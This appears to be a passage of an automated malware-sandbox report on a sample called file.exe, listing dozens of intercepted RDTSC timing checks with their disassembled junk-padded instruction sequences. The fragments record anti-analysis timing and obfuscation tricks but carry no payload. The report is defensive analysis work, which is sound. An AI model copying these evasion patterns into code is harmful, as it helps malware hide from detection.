Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871F32 second address: 871F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D61B second address: 87D622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C6A second address: 883C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C70 second address: 883C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C74 second address: 883C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C82 second address: 883C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C86 second address: 883C90 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C90 second address: 883C9A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB869324F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894E7C second address: 894E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894E81 second address: 894E8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FB869324F16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894E8E second address: 894E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894D0B second address: 894D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EB99 second address: 89EBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FB8686220C6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED37 second address: 89ED43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED43 second address: 89ED61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FB8686220D3h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED61 second address: 89ED6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB869324F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED6D second address: 89ED71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED71 second address: 89ED89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED89 second address: 89ED8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89ED8D second address: 89ED93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A121C second address: 8A1220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1220 second address: 8A1226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1226 second address: 8A122B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A122B second address: 8A1237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB869324F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4897 second address: 8A489D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A489D second address: 8A48B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FB869324F1Ah 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A69F9 second address: 7A69FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A69FE second address: 7A6A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7A9F second address: 8B7AB6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8686220C6h 0x00000008 jmp 00007FB8686220CDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7AB6 second address: 8B7AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB869324F16h 0x0000000a jg 00007FB869324F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7917 second address: 8B793C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B793C second address: 8B7948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB869324F16h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4CEE second address: 8C4CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4CF2 second address: 8C4D05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DDE47 second address: 8DDE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB8686220C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DDE51 second address: 8DDE69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jc 00007FB869324F16h 0x00000011 js 00007FB869324F16h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE246 second address: 8DE259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FB8686220CBh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEC48 second address: 8DEC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB869324F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEC52 second address: 8DEC5D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05CD second address: 8E05DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB869324F16h 0x0000000a ja 00007FB869324F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E05DD second address: 8E05E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2EA7 second address: 8E2EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C15 second address: 4DD0C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C1B second address: 4DD0C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 2Ah 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop eax 0x00000010 pushfd 0x00000011 jmp 00007FB869324F1Fh 0x00000016 or esi, 036640CEh 0x0000001c jmp 00007FB869324F29h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C5C second address: 4DD0C93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB8686220D1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB8686220CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0C93 second address: 4DD0CEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB869324F23h 0x00000014 jmp 00007FB869324F23h 0x00000019 popfd 0x0000001a call 00007FB869324F28h 0x0000001f pop eax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0CEF second address: 4DD0D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0D0A second address: 4DD0D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA010E second address: 4DA0112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0112 second address: 4DA0116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0116 second address: 4DA011C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA011C second address: 4DA0122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0122 second address: 4DA0126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0126 second address: 4DA012A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA012A second address: 4DA018F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FB8686220D3h 0x00000010 jmp 00007FB8686220D3h 0x00000015 popfd 0x00000016 mov ah, 40h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov bx, si 0x00000020 pushfd 0x00000021 jmp 00007FB8686220D8h 0x00000026 add al, 00000068h 0x00000029 jmp 00007FB8686220CBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA018F second address: 4DA01BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, 1F5Eh 0x00000012 mov edi, 7B66D36Ah 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01BB second address: 4DA0233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, E20Dh 0x00000007 mov cx, 9209h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push dword ptr [ebp+04h] 0x00000011 jmp 00007FB8686220D4h 0x00000016 push dword ptr [ebp+0Ch] 0x00000019 pushad 0x0000001a call 00007FB8686220CEh 0x0000001f pushad 0x00000020 popad 0x00000021 pop eax 0x00000022 call 00007FB8686220D1h 0x00000027 pushfd 0x00000028 jmp 00007FB8686220D0h 0x0000002d sbb ah, FFFFFFE8h 0x00000030 jmp 00007FB8686220CBh 0x00000035 popfd 0x00000036 pop ecx 0x00000037 popad 0x00000038 push dword ptr [ebp+08h] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e mov ebx, esi 0x00000040 mov bh, cl 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0261 second address: 4DA0265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0265 second address: 4DA026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA026B second address: 4DA0271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0271 second address: 4DA0275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0275 second address: 4DA0279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0A6E second address: 4DC0A74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0A74 second address: 4DC0A99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB869324F1Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0A99 second address: 4DC0AB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0AB4 second address: 4DC0AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 780E4B1Ah 0x00000008 mov si, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FB869324F1Dh 0x00000015 pop ebp 0x00000016 pushad 0x00000017 jmp 00007FB869324F1Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e mov ax, 6A07h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0530 second address: 4DC0536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0536 second address: 4DC053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02B3 second address: 4DC02B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02B7 second address: 4DC02BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02BD second address: 4DC02E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB8686220CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02E6 second address: 4DC02EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02EC second address: 4DC02F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC02F0 second address: 4DC02F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B10 second address: 4E00B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B14 second address: 4E00B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B1A second address: 4E00B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE00EB second address: 4DE01AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB869324F26h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov dx, ax 0x00000015 pushfd 0x00000016 jmp 00007FB869324F1Ah 0x0000001b add ecx, 5BB40968h 0x00000021 jmp 00007FB869324F1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov eax, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c jmp 00007FB869324F24h 0x00000031 call 00007FB869324F22h 0x00000036 pushfd 0x00000037 jmp 00007FB869324F22h 0x0000003c adc ch, 00000028h 0x0000003f jmp 00007FB869324F1Bh 0x00000044 popfd 0x00000045 pop ecx 0x00000046 popad 0x00000047 and dword ptr [eax], 00000000h 0x0000004a jmp 00007FB869324F1Fh 0x0000004f and dword ptr [eax+04h], 00000000h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB869324F20h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE01AD second address: 4DE01B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC040A second address: 4DC0417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push esp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0417 second address: 4DC041B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC041B second address: 4DC0421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC0421 second address: 4DC043D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov al, 81h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DC043D second address: 4DC0463 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ah, 9Bh 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB869324F28h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B0A second address: 4DD0B19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B19 second address: 4DD0B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B1F second address: 4DD0B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B23 second address: 4DD0B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B27 second address: 4DD0B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FB8686220CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B45 second address: 4DD0B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B49 second address: 4DD0B66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B66 second address: 4DD0B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB869324F27h 0x00000008 mov dl, cl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB869324F1Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0B97 second address: 4DD0BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB8686220D1h 0x00000009 and eax, 181E5626h 0x0000000f jmp 00007FB8686220D1h 0x00000014 popfd 0x00000015 mov edi, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB8686220D4h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BE2 second address: 4DD0BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0BE6 second address: 4DD0BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0EAD second address: 4DD0EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F1Ch 0x00000009 rdtsc
